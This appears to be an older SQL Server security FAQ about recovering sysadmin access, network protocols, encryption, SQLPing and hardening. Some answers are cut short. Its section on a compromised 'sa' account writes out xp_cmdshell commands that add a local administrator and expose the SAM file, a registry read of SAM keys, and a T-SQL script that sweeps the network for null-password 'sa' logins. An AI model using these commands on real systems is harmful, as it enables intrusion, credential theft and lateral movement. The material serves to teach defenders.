Q1. In SQL 2005, I removed the BUILTIN/Administrators login but I forgot my SA account password. What can I do to regain sysadmin access to my SQL Server?
Answer: Per this KB article: http://support.microsoft.com/kb/932881
"Also, if SQL Server 2005 is started in single-user mode, any user who has membership in the BUILTIN\Administrators group can connect to SQL Server 2005 as a SQL Server administrator. The user can connect regardless of whether the BUILTIN\Administrators group has been granted a server login that is provisioned in the SYSADMIN fixed server role. This behavior is by design. This behavior is intended to be used for data recovery scenarios."
Q2. How do I restict clients by IP Address?
Answer: SQL Server has no built-in support for restricting clients by IP address. The most common work-arounds are firewalls, IPSec, or third-party network layer filters to allow only certain source IP addresses and target TCP ports (the port on which SQL Server is listening).
Q3. How do I perform encryption with SQL Server?
Starting with SQL Server 2005 Encryption is now natively supported inside SQL Server.
In previous versions of SQL Server, despite rumors of "undocumented" cryptography functions in SQL Server (pwdencrypt() and pwdcompare()), these functions are not the symmetric encryption routines you want to use in a robust application. Using those functions does not provide reversible encryption and uses algorithms and key management you are not privy to. It is recommended that you implement encryption carefully based on the type of data you are looking to protect. Examples:
Field-Level (Protecting individual data fields)
File-Level (Protecting MDF's, backups, etc)
Q4. What is SQLPing and how does it work?
SQLPing (now in it's third incarnation) came out of my curiosity and observations of SQL Server's discovery mechanisms. When a SQL Server 2000 client wishes to connect to a server it first attempts a pre-connection query against UDP 1434 (unregistered listener service on any SQL Server 2000 server). Upon seeing the handshake (packet payload 0x02), the SQL Server replies with details about all named instances installed on the server including instance name, version, clustering info, net-libs supported, and net-lib details (ports, pipe names, etc.). Using this tool, you can reveal this information as well as send discovery packets to entire networks (i.e. 192.168.0.255) for mass interrogation.
Q5. How can I hide my SQL Server 2000 installations from SQLPing?
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\SuperSocketNetLib\ProtocolList. (For named instances use HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\(instance name)\MSSQLServer\SuperSocketNetLib\ProtocolList). A restart will be required.
Q6. How can I keep the 'sa' account from reading my confidential data?
Answer: Make sure you are making a clear distinction between the sa account and the sysadmin fixed server role. By using Windows Authentication you can block 'sa' from logging in at all.
To keep the local admin from getting access to the database (or server) you need to grant access to the server to another account (someone needs to be a sys admin) and put this account in the sysadmin role. Now you can safely remove the BUILTIN\Administrators login or simply remove it from the
Adding encryption to this mix is also a good move for a multitude of reasons (not the least of which is keeping NT admins from just copying the database files and attaching them to another server) but DO NOT "roll your own" encryption. Use the CryptoAPI/.NET Framework and do your best to hide the encryption keys from unauthorized personnel (key management is always the hard part). Rolling your own encryption is a recipe for disaster unless your last name is Rivest/Schneier etc..... ;-)
Q7. Why is SQL Server security important?
Answer: One might argue that since a SQL server is generally kept inside a firewall, it doesn’t need to be as secure as a machine exposed to the outside world. I disagree. Since statistics show that most attacks occur from within, making the SQL server as secure as possible should be a critical task no matter where it exists. In this article, we explore some of Microsoft SQL Server’s weaknesses and how we can negate them. The goal: To sleep at night.
Q8. What different network protocol libraries should I use?
If the database is local-only then disable ALL netlibs and use shared memory to access the SQL Server. If you must connect from remote clients, use TCP/IP and enable encryption (non-trusted subnets) . Only use the alternative netlibs (NwLink, Names Pipes, Banyan, etc) if need be in those integration scenarios.
SQL Server 2000 includes the new Super Sockets net-lib which can do SSL over any of the protocols. It is highly recommended you make use of this in lieu of the multi-protocol encryption. Remember that a server certificate must be installed before the encryption can occur. The certificate must match the DNS name of the server and be issues by a certificate authority that the client trusts.
Yet another option if you are using Windows 2000 is IPsec. IPsec will allow you to encrypt ALL traffic between the client and server. This is a good solution when you have complete control over the server and the clients can take the time to learn IPsec policy deployment.
Q9. What are the various security modes for SQL Server and how do they work?
Since SQL Server 7 - Microsoft has only supported two modes:
Windows Only is recommended but not always practical depending on your infrastructure. In addition, SQL Server 2005 has taken great strides to increase the security of standard SQL Server logins by adding password complexity, timeouts, and other features previously absent.
Logging-in is only the first step. Once a user logs in, he or she must access the individual databases. For this, an entry must exist in the sysusers table for each database for that user. Keep a close eye on that “guest” account in your databases and make sure you don’t inadvertently give someone access to a database.
Q10. What are some things I can do to secure my SQL Server?
Q11. What could happen if the 'sa' account is compromised?
Say someone has compromised an account with execute rights to the xp_cmdshell extended stored procedure (such as 'sa') using a dictionary attack, social engineering, packet sniffing, trojans, keystroke recorders, or simple guessing. The next step is to compromise the OS. This might include firing up the xp_cmdshell stored procedure and typing:
Xp_cmdshell 'net user testuser UgotHacked /ADD'
Xp_cmdshell 'net localgroup Administrators testuser /ADD'
Note: In SQL 7.0, non-sys admin role users get SQLAgentCmdExec user context by default, so this exploit won’t work unless sa is compromised. Some may argue that once a person compromises the Administrator account, then talking about things they can do is a waste of time. The point is that sa isn’t Administrator; sa is a SQL Server security model member, and its exploitation can lead to a compromise of other security models such as NT. This is the primary point you should take from this section—the idea that attackers can take advantage of a weaker security model to compromise a stronger one.
Now the attacker has an account with local administrator access on your SQL Server machine. (Pray your machine isn’t a domain controller or the user now has domain admin access. Sigh.) While the attackers are there, they just may fire off this query:
Xp_cmdshell 'rdisk /s-'
This effectively rebuilds the information in the \winnt\repair directory without prompting the user.
After backing up the SAM (sam._ in \winnt\repair directory), the attacker can establish an SMB connection to an administrative share or create one:
Xp_cmdshell 'net share getsam=c:\winnt\repair'
Of course, if the SMB ports (UDP 137/138, and TCP 139) are blocked, the attacker will just have to find a Web server with anonymous browsing enabled (or enable it using OLE automation stored procedures), move the file, and use a browser to do his or her dirty work. If that doesn’t work, why not just bcp (bulk copy program) the table into an image field and then use the GetChunk ADO method to pull it over to your machine? How about using the built-in TFTP client to download a Netcat listener to the machine and then configure it to listen and transfer? Be creative — hackers are.
By the way, compromised SQL Servers make excellent launching points for attacks against other machines inside the network. By hopping from server to server it is possible to move virtually undetected through otherwise well-defended networks. Below is an example sql script to enumerate other SQL Servers on the network that have null 'sa' accounts.
-- Create temp table to store enumerated servers
SET NOCOUNT ON
CREATE TABLE #temp (shelldump varchar(255))
INSERT #temp EXEC xp_cmdshell 'osql -L'
DECLARE @current_server varchar(255), @conn_string varchar(255)
DECLARE sql_cursor CURSOR FOR SELECT * FROM #temp
OPEN sql_cursor FETCH NEXT FROM sql_cursor INTO @current_server
-- Loop through potential targets and check for null sa accounts
-- If target is vulnerable, version information will be displayed
WHILE @@FETCH_STATUS = 0
If @current_server <> 'Servers:'
SELECT @current_server = rtrim(ltrim(@current_server))
SELECT @conn_string = 'exec master..xp_cmdshell ''osql -S' + @current_server + ' -Usa -P -Q "select @@version"'''
PRINT 'Attempting connection to server: ' + @current_server
FETCH NEXT FROM sql_cursor INTO @current_server
DROP TABLE #TEMP
As the above code shows, a compromised SQL Server can be turned into an unwilling participant in more attacks. Even better for the attacker, subsequent probes/intrusions lanuched from this server will mask the fiend since logs will show the compromised SQL Server to be the source of future suspicious activity.
xp_regread 'HKEY_LOCAL_MACHINE', 'SECURITY\SAM\Domains\Account', 'F'
If the MSSqlserver service is running under the LocalSystem account, then this call can return an encrypted password or SID right out of the registry. (David LeBlanc - a frequent posted to ntbugtraq - has correctly pointed out that this will only work on machines without SYSKEY installed.)
These are just a few brief samples of exploits that can be performed against an unsecured server. Make sure you audit your own systems to ensure that these and other exploits don’t compromise your security.
So what? They get into the SQL Server, how does this affect my network?
Once the system is compromised, it’s likely the intruder will put backdoors in place to gain access to other systems, and to make sure he or she can get to this box again incase you read this article and implement changes. Some examples include the following:
You need to secure SQL Server before it goes into production. If it’s too late for this, then do your best to look for these trojans and remove them. Good logging will help you to monitor access and see who is using the server in ways they shouldn’t.